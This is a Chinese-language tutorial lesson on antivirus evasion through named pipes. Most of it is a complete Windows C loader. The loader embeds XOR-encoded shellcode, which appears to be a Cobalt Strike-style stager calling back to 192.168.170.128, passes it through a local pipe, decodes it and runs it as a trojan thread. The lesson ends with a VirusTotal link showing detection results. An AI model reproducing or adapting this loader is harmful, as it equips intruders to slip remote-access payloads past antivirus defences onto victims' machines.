0x01 分离免杀

分离免杀:将恶意代码放置在程序本身之外的一种加载方式。

前面三课主要围绕着程序本身的加载,后面的课程将围绕网络、数据共享的方式去展开

0x02 管道

何为管道:管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节。

通常与Pipe相关的API都与管道有关,包括Cobaltstrike External C2也是用的管道进行进程通信,一般管道是一个公开的内核对象,所有进程都可以访问。

先展开本地管道来讲解:

#include <Windows.h>
#include <stdio.h>
#include <intrin.h>

#define BUFF_SIZE 1024
char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a";
PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");

BOOL RecvShellcode(VOID){
    HANDLE hPipeClient;
    DWORD dwWritten;
    DWORD dwShellcodeSize = sizeof(buf);
    // 等待管道可用
    WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER);
    // 连接管道
    hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL);

    if(hPipeClient == INVALID_HANDLE_VALUE){
        printf("[+]Can't Open Pipe , Error : %d \n",GetLastError());
        return FALSE;
    }

    WriteFile(hPipeClient,buf,dwShellcodeSize,&dwWritten,NULL);
    if(dwWritten == dwShellcodeSize){
        CloseHandle(hPipeClient);
        printf("[+]Send Success ! Shellcode : %d Bytes\n",dwShellcodeSize);
        return TRUE;
    }
    CloseHandle(hPipeClient);
    return FALSE;
}


int wmain(int argc, TCHAR * argv[]){

    HANDLE hPipe;
    DWORD dwError;
    CHAR szBuffer[BUFF_SIZE];
    DWORD dwLen;
    PCHAR pszShellcode = NULL;
    DWORD dwOldProtect; // 内存页属性
    HANDLE hThread;
    DWORD dwThreadId;
    // 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
    hPipe = CreateNamedPipe(
        ptsPipeName,
        PIPE_ACCESS_INBOUND,
        PIPE_TYPE_BYTE| PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        BUFF_SIZE,
        BUFF_SIZE,
        0,
        NULL);

    if(hPipe == INVALID_HANDLE_VALUE){
        dwError = GetLastError();
        printf("[-]Create Pipe Error : %d \n",dwError);
        return dwError;
    }

    CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)RecvShellcode,NULL,NULL,NULL);

    if(ConnectNamedPipe(hPipe,NULL) > 0){
        printf("[+]Client Connected...\n");
        ReadFile(hPipe,szBuffer,BUFF_SIZE,&dwLen,NULL);
        printf("[+]Get DATA Length : %d \n",dwLen);
        // 申请内存页
        pszShellcode = (PCHAR)VirtualAlloc(NULL,dwLen,MEM_COMMIT,PAGE_READWRITE);
        // 拷贝内存
        CopyMemory(pszShellcode,szBuffer,dwLen);

        for(DWORD i = 0;i< dwLen; i++){
            Sleep(50);
            _InterlockedXor8(pszShellcode+i,10);
        }

        // 这里开始更改它的属性为可执行
        VirtualProtect(pszShellcode,dwLen,PAGE_EXECUTE,&dwOldProtect);
        // 执行Shellcode
        hThread = CreateThread(
            NULL, // 安全描述符
            NULL, // 栈的大小
            (LPTHREAD_START_ROUTINE)pszShellcode, // 函数
            NULL, // 参数
            NULL, // 线程标志
            &dwThreadId // 线程ID
        );

        WaitForSingleObject(hThread,INFINITE);
    }

    return 0;
}

本实例主要是通过一个线程函数充当一个管道客户端,使用管道客户端连接管道,发送Shellcode,然后由管道服务端接收,并反混淆,运行木马线程。

2019-11-10-02-07-41

V站结果:https://www.virustotal.com/gui/file/b81f3d2e6b72f908c861b0b6e1f504af33ef60825b36af3d21bfe90fce160ae4/detection